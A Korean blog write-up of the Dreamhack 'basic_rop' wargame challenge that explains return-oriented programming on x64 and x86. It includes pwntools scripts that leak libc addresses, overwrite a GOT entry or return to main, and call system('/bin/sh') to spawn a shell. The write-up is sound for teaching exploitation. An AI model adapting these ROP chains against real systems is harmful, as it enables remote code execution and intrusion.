[dreamhack] basic_rop

[dreamhack] basic_rop

2024년 6월 23일

개요 #

이름에서 알 수 있듯 rop 문제이다. deramhack의 시스템 해킹 로드맵을 진행하면서 풀게된 문제인데, 처음으로 rop 를 하려니 어려워서 정리해본다.

basic_rop_x64 #

정보수집 #

소스코드 #

간단하게 0x40 바이트의 버퍼가 있고, read, write 함수를 한번씩 사용할 수 있는 main 함수가 있다.
그리고 read는 buf에 최대 0x400 문자를 넣을 수 있기 때문에 BOF가 발생하고, write는 메모리를 읽어올 수 없도록 정확히 buf 만큼만 출력하는 상황이다.

 1#include <stdio.h>
 2#include <stdlib.h>
 3#include <signal.h>
 4#include <unistd.h>
 5
 6void alarm_handler() {
 7    puts("TIME OUT");
 8    exit(-1);
 9}
10
11void initialize() {
12    setvbuf(stdin, NULL, _IONBF, 0);
13    setvbuf(stdout, NULL, _IONBF, 0);
14
15    signal(SIGALRM, alarm_handler);
16    alarm(30);
17}
18
19int main(int argc, char *argv[]) {
20    char buf[0x40] = {};
21
22    initialize();
23
24    read(0, buf, 0x400);
25    write(1, buf, sizeof(buf));
26
27    return 0;
28}

checksec #

  • NX가 적용되어 있어서 buf에 쉘코드를 넣을 수 없다.
  • 카나리는 적용되지 않아서 카나리 릭에 사용될 수 있는 출력함수가 없어도 괜찮다.
  • PIE도 적용되지 않아서 코드영역은 항상 절대주소로 사용하며 변하지 않는다.
  • Partial RELRO가 적용되어(어차피 no PIE때문에 Full을 사용할 수 없음) got영역에 쓰기 권한이 있다.

08592dc5-22ff-46d4-a237-7a164735b955


공격 #

공격 순서 #

  1. 스택영역을 코드로 사용할 수 없어서 이미 코드에 존재하는 system("/bin/sh") 를 실행시켜야 한다.
  2. plt는 한번이라도 사용해야 등록되기 때문에 바이너리 자체에서 찾아야 하는데, 전달받은 소스코드에는 없으니 libc를 이용해야한다.
  3. 실행마다 변경되는 libc의 베이스 주소를 알아와야 하고, “/bin/sh”, system 함수의 오프셋을 알아온 뒤 호출해야한다.
  4. read로 BOF 발생시켜서 libc 아무 함수의 주소 출력 → 출력한 주소로 base 계산 → 계산해서 “/bin/sh” 문자열 주소 rdi로 넣고 system 주소로 리턴

공격 페이로드 만들기 #

함수의 주소를 출력하려면 write에 내맘대로 인자를 넣고 출력해야 하는데, 이때 작은 코드 조각으로 명령 호출 → 리턴 을 무수히 반복하면 overwrite가 가능한 영역이 소진되지 않는 한 이론상 어떤 코드도 넣을 수 있다.

원하는 가젯을 ROPgadget 도구로 찾은 후 가젯을 연결하면 ROP 체인 공격을 할 수 있다.

 1read_got = ELF('./basic_rop_x64').got['read']
 2read_plt = ELF('./basic_rop_x64').plt['read']
 3write_plt = ELF('./basic_rop_x64').plt['write']
 4system_offset = ELF('/lib/x86_64-linux-gnu/libc.so.6').symbols['system']
 5read_offset = ELF('/lib/x86_64-linux-gnu/libc.so.6').symbols['read']
 6
 7pop_rdi = 0x400883            # 함수의 첫번째 인자
 8pop_rsi_pop_dummy = 0x400881  # pop rsi만 있으면 좋겠지만, 찾기 어렵다.
 9pop_rdx = 0x??????            # pop rdx는 찾기 어렵지만, 필요한 값 이상이기만 하면 돼서 굳이 직접 수정할 필요는 없다
10nop = 0x40005a9               # 일부 시스템에서는 일부 함수(system)를 호출할 때 rsp의 주소가 0x10단위로 정렬되어야 하기 때문에 
11                              # return만 수행하는 의미없는 함수가 필요하다. (ret 단일 명령 가젯)
12
13### 첫번째 공격
14payload = b'A'*0x40 + b'RBP.....'
15# write(1, readgot, ???)
16payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_pop_dummy) + p64(read_got) + b'dummycod' + p64(write_plt)
17# read(0, readgot, ???)   read의 got 영역을 system 함수의 주소를 알아온 뒤 덮어쓰기
18payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_pop_dummy) + p64(read_got) + b'dummycod' + p64(read_plt)
19# system("/bin/sh")
20payload += p64(pop_rdi) + p64(read_got+0x8) + p64(nop) + p64(read_plt)
21
22p.send(payload)
23p.recv(0x40)          # 원래의 write가 출력하는 buf 값 버리기
24read_addr = u64(p.recv(0x8))     # read의 실제 주소 가져오기. 이미 한번 호출했기 때문에 리졸버에 의해 got에 read의 메모리상 주소가 쓰여졌다.
25p.recv(0x1000)        # 나머지 출력 버리기
26
27### 두번째 공격
28# 첫번째 공격에서 출력한 주소를 사용. 이번 입력은 read의 got에 쓰게된다. 
29# 이어서 "/bin/sh" 문자열 입력. 첫번째 공격에서 system의 인자에 read_got+0x8의 의미를 이해하게 됐을 것이다. 
30payload = p64(read_addr - read_offset + system_offset) + b'/bin/sh'  
31p.send(payload)
32p.interactive()

return to main #

이미 공격에 성공했지만, 공격 중간에 main으로 리턴했을 때 공격이 좀더 수월해지고, 언젠가 필수적으로 이 기법을 사용해야될 수 있어서 정리하려 한다.

return to main의 장점 #

여러가지 경우의 수가 return to main 에서의 장점이 생긴다.

  1. 처음 main에서 read할 문자 수가 적은 경우
    위에서 공격할땐 write, read, system 이 호출을 한꺼번에 스택에 오버플로우 시켰는데, 오버플로우 할 수 있는 버퍼에 제한이 있는 경우엔 실패했을지도 모른다.

  2. rdx에 원하는 값 설정이 어려울 때
    main에서는 처음 BOF 취약점이 발생할때의 rdx(count)를 계속 재설정 해주기 때문에 공격이 불가능한 크기가 되기 어렵다.

  3. 공격을 여러번에 나눠서 할 수 있음 (main 스택을 여러번 조작할 수 있음)
    이전 공격은 read_got 영역에 “/bin/sh” 문자열을 같이 집어넣고, 미리 예측한 주소를 스택에 적어뒀다.
    system 함수 호출 역시 이미 알고있던 read_plt 주소를 호출해서 사용했다.
    결국 공격은 main의 스택을 사용하는 것이기 때문에 한번 페이로드를 입력하면 리턴주소는 더이상 새롭게 입력할 수 없고 이미 알고있는 정보나 예측한 주소를 입력한 상태에서 공격할 수 밖에 없다.
    만약 return to main을 사용한다면, BOF 자체를 여러번 수행할 수 있는 것이기 때문에 정보수집 → BOF로 원하는 코드 호출 → 정보수집 … 이렇게 무한히 가능하게 된다.

return to main의 단점 #

  1. 반복된 실행으로 로깅
    실행이 여러번 반복되면서 로깅도 여러번 반복기록 될 수 있다.

  2. 전체 공격 시간의 증가
    초기화 과정도 거치게되기 때문에 프로그램의 실행시간이 증가하며, 시간 제한이 있는 경우 공격에 실패할수 있다.

  3. 복잡성 증가
    main의 주소를 알아와야 하는 환경에서는 복잡성이 증가한다. PIE가 설정되지 않은 프로그램은 아주 쉽게 가능하다.

return to main 페이로드 #

이 방법을 사용한다면, 다시 main으로 돌아와 리턴주소를 변경하면 되기 때문에 plt 영역을 사용하지 않아도 공격할 수 있을 것이다.

 1write_got = ELF('./basic_rop_x64').got['write']
 2write_plt = ELF('./basic_rop_x64').plt['write']
 3read_plt = ELF('./basic_rop_x64').plt['read']
 4system_offset = ELF('/lib/x86_64-linux-gnu/libc.so.6').symbols['system']
 5write_offset = ELF('/lib/x86_64-linux-gnu/libc.so.6').symbols['write']
 6main_addr = ELF('./basic_rop_x64').symbols['main']
 7
 8bin_sh_offset = list(ELF('/lib/x86_64-linux-gnu/libc.so.6').search(b'/bin/sh'))[0]
 9
10pop_rdi = 0x400883
11pop_rsi_pop_dummy = 0x400881
12nop = 0x4005a9
13
14### 첫번째 공격. 간단하게 write의 주소를 알아오고 main으로 돌아온다. 
15payload = b'B'*0x40 + b'RBP.....'
16# write(1, write_got, ???) 
17payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_pop_dummy) + p64(write_got) + b'dummycod' + p64(write_plt)
18
19# ret2main
20payload += p64(main_addr)
21
22p.send(payload)
23p.recv(0x40)
24
25write_addr = u64(p.recv(8))
26lib_base = write_addr - write_offset
27system_addr = lib_base + system_offset
28bin_sh_addr = lib_base + bin_sh_offset
29
30# 두번째 공격. 다시 스택을 공격해서 리턴주소를 쌓아놓고 ROP 형식으로 공격한다. 
31payload = p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
32
33p.send(b'B'*0x40 + b'RBP.....' + payload)
34p.recv(0x40)
35
36p.interactive()

basic_rop_x86 #

32bit에서는 함수의 호출 방식이 64bit와 다르고, 스택도 4byte인 점을 기억해야 한다.

정보수집 #

함수 호출 방식 #

함수 호출 방식은 disassemble 해보면 알 수 있는데 인자들을 첫번째 인자가 스택의 맨 위에 올 수 있도록 push 하고 함수를 호출한다.

read(0, buf, 0x400); 의 예시 8accf90c-5421-43f1-85ce-d97b0b069178

내부에서는 read 함수의 인자를 앞에서부터 ebx, ecx, edx에 옮겨서 사용한다.
함수 호출할 때 call (push pc), 함수내부에서 push esi, push ebx, sub esp,0x14 를 실행했으니 esp+0x20이 첫번째 인자가 맞다. 9f47b5ce-dded-43e7-8676-14b3bb69ccf7

checksec #

x64와 다른점이 없다. fd4eb2d0-0138-48d7-af70-38bbcda8d9e9


공격 #

함수의 인자로 전달해야되는데 esp+0x20 에 어떻게 전달해야하나 싶었다.
그런데 실제로 BOF로 실행되는 함수는 main 함수의 리턴 주소로 전달되는 함수이기 때문에 main 에필로그 과정에서 실행된다는걸 기억해야 한다.

결국 리턴 주소부터 순서대로 인자를 스택에 쌓아두면 자동으로 함수를 호출할 수 있게 된다.
대신 call이 아니라 return으로 흐름을 조작하기 때문에 호출할 함수의 시작 부분에서 스택을 동일하게 맞춰준다고 생각하고 페이로드를 작성하면 된다.

 1# write가 호출된 후 write의 리턴 코드에서 main으로 돌아오기 위해 추가해야 한다. 
 2payload = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
 3
 4p.send(b'A' * 0x48 + payload)
 5print(p.recv(0x40))
 6write_func = u32(p.recv(0x4))
 7print(hex(write_func))
 8
 9# 메인으로 돌아와서 다시 페이로드를 작성한다. 
10libc_base = write_func - write_offset
11bin_sh_addr = libc_base + bin_sh_offset
12system_addr = libc_base + system_offset
13
14payload = p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
15p.send(b'A' * 0x48 + payload)
16
17p.interactive()

32bit 시스템에서는 인자를 레지스터가 아닌 스택으로 관리하기 때문에 return to main 공격 기법이 더욱 절실하다.

comments powered by Disqus